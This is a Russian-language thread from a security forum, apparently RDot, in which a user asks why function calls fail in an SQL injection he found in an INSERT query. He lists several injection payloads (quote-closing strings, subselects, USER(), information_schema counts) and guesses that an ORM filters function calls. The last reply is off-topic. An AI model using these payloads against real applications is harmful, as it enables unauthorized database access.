RDot

RDot (https://rdot.org/forum/index.php)
-   Web-среда/Web-applications (https://rdot.org/forum/forumdisplay.php?f=9)
-   -   Странная SQLi в INSERT (https://rdot.org/forum/showthread.php?t=4912)

Белый Тигр 13.11.2019 16:28

Странная SQLi в INSERT
 
Нашёл простейшую SQLi в INSERT типа такого:
Цитата:

INSERT INTO table (col1, col2, col3) VALUES('a', '[INJ_HERE]', 'c')
Беру такой пейлод:
Цитата:

', 'sometext'); --
Запись с "sometext" отлично добавляется в базу и её видно в веб-морде.
Аналогично
Цитата:

', (SELECT 'sometext')); --
Однако пейлоды с функциями и табличками внутри не работают (вывода ошибок нет)
Цитата:

', (SELECT USER())); --
Цитата:

', (SELECT COUNT(*) FROM inforation_schema.TABLES)); --
Работает вот так:
Цитата:

', (SELECT COUNT(*) FROM (SELECT 1)a)); --
Подумал что вырезаются функции стандартные типа USER(), VERSION(), DATABASE(). Однако если их заключить в кавычки, то ничего не режется:
Цитата:

', (SELECT 'USER()')); --
Пробовал и простые типа CURTIME() - та же история.

В чём может быть причина? Ни разу такого поведения не встречал.

Белый Тигр 14.11.2019 11:34

Новая инфа - это инъекция одновременно в SELECT и INSERT . Первое перед вторым.
Есть догадка что запрос идёт через какую-то ORM, которая пытается изменять запрос и глушит вызовы функций.
Одинаково не работают VERSION(), VersION(), VeRsion ( ). Ну и вообще все функции - ASCII, CHAR, ... .

h4cxx 06.12.2019 02:57

Для тех, кто предпочитает учиться по тексту, ваше руководство будет полезным. Вы можете найти на YouTube похожие учебники.


Часовой пояс GMT +3, время: 23:29.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot